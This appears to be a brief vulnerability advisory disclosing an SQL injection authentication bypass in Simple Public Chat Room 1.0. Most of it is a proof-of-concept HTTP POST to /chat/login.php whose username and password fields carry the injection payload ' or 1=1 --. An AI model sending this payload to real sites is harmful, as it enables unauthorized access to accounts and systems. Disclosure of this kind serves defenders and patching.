Simple Public Chat Room 1.0 SQL Injection

Simple Public Chat Room 1.0 SQL Injection

Simple Public Chat Room version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

POC:

1
2
3
4
5
6
7
8
9
10
11
12
POST /chat/login.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Connection: close
Referer: http://localhost/chat/index.php?attempt=
Cookie: PHPSESSID=r2focevhk11aqka051gt26qfhl
Upgrade-Insecure-Requests: 1

username=aa%27+or+1%3D1+--&password=%27+or+1%3D1+--